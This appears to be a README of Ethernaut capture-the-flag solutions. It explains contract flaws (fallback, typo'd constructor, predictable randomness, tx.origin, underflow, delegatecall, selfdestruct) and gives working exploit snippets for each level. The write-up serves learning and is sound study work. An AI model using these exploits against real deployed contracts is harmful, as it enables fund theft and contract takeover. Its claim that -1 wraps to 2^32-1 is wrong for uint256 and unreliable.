This repo uses Hardhat and ethers.js stack to interact with the Ethernaut contracts. The solutions below, however, endeavor to use the console to execute any required scripts, and therefore use web3 as it is injected into the Ethernaut console. If you fork this repo, be sure to include a .env
file that follows the same format as the given .env.example
file.
A couple of npm scripts make it easy to run the code yourself:
npm run solve --level=X
solves the corresponding level, deploying contracts if necessary.npm run deploy --level=X
only deploys the corresponding contract to the Rinkeby testnet, if it exists.
A fallback function is called when a contract receives ETH in a transaction that is not handled by any of its methods. This contract's fallback function has a vulnerability that allows us to gain control of the contract and therefore call its withdraw
method.
await contract.contribute({ value: 1 });
await contract.send({ value: 1 }); // Trigger fallback
await contract.withdraw();
Before Solidity v0.4.23, constructors were denoted using a function name that was the same as the contract's name. Constructors are only ever called once, during contract creation, but in the case that the constructor's name does not match the contract, it is possible to call it repeatedly as a normal function. The constructor in this level has a typo that allows us to call it and gain control of the contract.
await contract.Fal1out();
await contract.collectAllocations();
This contract attempts to create its own source of randomness by performing some operations on the block number of the block that the flip
method is mined into. Because the blcok number and these operations are all public, we can create a contract that uses the same calculations to compute the result of the flip before calling original flip
method.
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract Level3 {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip cf = CoinFlip(INSTANCE_ADDRESS);
function attack() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
cf.flip(blockValue.div(FACTOR) == 1);
}
}
abstract contract CoinFlip {
function flip(bool _guess) virtual public returns (bool);
}
We can pair the contract with a simple script that calls our attack
method the requisite amount of times, ensuring each subsequent call happens only after the previous has been mined. We cannot simply do this in the Level3
contract above as the block number must be different between flips as enforced in the original CoinFlip contract. Using Metamask as our provider is annoying here because we must provide manual confirmation for each transaction, so we will use Alchemy with a local script:
import { ethers } from "ethers";
const contract = await ethers.getContractAt(
'Level3',
LEVEL3_CONTRACT_ADDR,
(await ethers.getSigners())[0]
);
for (let i = 0; i < 10; i++) {
await (await contract.attack()).wait();
}
tx.origin
and msg.sender
are different in a call chain. tx.origin
always corresponds to the user (EOA) that starts the call chain, whereas msg.sender
corresponds the caller of the current method/contract (and can thus be an EOA or a contract). For example, if user A calls contract B which calls contract C, within the method call to C, msg.sender
refers to B while tx.origin
refers to A. We can use this to our advantage by creating a contract that calls the Telephone
contract's changeOwner
method.
pragma solidity ^0.8.0;
contract Level4 {
Telephone t = Telephone(INSTANCE_ADDRESS);
function attack() public {
t.changeOwner(msg.sender);
}
}
abstract contract Telephone {
function changeOwner(address _owner) virtual public;
}
We simply call our attack
method to gain control of the Telephone
contract.
await sendTransaction({
to: LEVEL4_CONTRACT_ADDRESS,
from: WALLET_ADDRESS,
data: web3.eth.abi.encodeFunctionSignature('attack()'),
});
The uint
type in Solidity is an unsigned integer and can never be negative. Negative numbers are represented with two's complement, so -1 is stored as 2^32-1. We can exploit this by transferring more tokens than we have to another address, so that our balance is negative and wraps around to a large positive number.
await contract.transfer('0x0000000000000000000000000000000000000000', 50);
delegatecall
is a function that allows us to pass data to and call methods from another contract. It differs from the more common call
function in that it does not modify the state of the contract that is being called, only the state of the calling contract, which must have an identical storage layout as the contract being called. Indeed, we can see that the Delegate
and Delegation
contracts share slot0 of their storage. We can exploit this to call pwn()
in the Delegate
contract through the delegatecall
in the fallback method of the Delegation
contract, which will update the storage (ie the owner
field) of the Delegation
contract to our address.
await contract.sendTransaction({
to: INSTANCE_ADDRESS,
data: web3.eth.abi.encodeFunctionSignature('pwn()'),
});
Even if a contract has no payable functions and no fallback function, it is still possible to increase its balance by designating it as the recipient of a self-destructed contract's funds. We can exploit this by creating a simple payable function that simply passes the given ETH to the Force
contract after self-destructing.
pragma solidity ^0.8.0;
contract Level7 {
function attack() public payable {
selfdestruct(payable(INSTANCE_ADDRESS));
}
}
await sendTransaction({
to: LEVEL7_CONTRACT_ADDRESS,
from: WALLET_ADDRESS,
data: web3.eth.abi.encodeFunctionSignature('attack()'),
value: 1
});